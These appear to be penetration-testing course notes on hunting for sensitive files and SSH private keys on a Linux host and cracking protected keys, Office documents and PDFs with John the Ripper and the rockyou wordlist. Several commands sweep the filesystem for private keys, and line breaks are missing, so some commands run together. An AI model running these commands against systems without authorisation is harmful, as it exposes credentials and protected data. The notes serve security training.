Hunting for Encoded Files
A useful list can be found on FileInfo
Hunting for Files
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;doneHunting for SSH Keys
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"Encrypted SSH Keys
cat /home/cry0l1t3/.ssh/SSH.private- encrypted SSH keys are protected with a passphrase
- must be entered before use
- lightweight AES-128-CBC can be cracked.
Cracking with John
John Hashing Scripts
locate *2john*We can convert many different formats into single hashes and try to crack the passwords with this. Then, we can open, read, and use the file if we succeed.
ssh2john.py for SSH keys, which generates the corresponding hashes for encrypted SSH keys, which we can then store in files.
ssh2john.py SSH.private > ssh.hashcat ssh.hash Cracking SSH Keys
john --wordlist=rockyou.txt ssh.hashjohn ssh.hash --showCracking Documents
office2john.py
office2john.py Protected.docx > protected-docx.hashcat protected-docx.hashjohn --wordlist=rockyou.txt protected-docx.hashjohn protected-docx.hash --showCracking PDFs
pdf2john.py PDF.pdf > pdf.hashcat pdf.hash john --wordlist=rockyou.txt pdf.hashjohn pdf.hash --show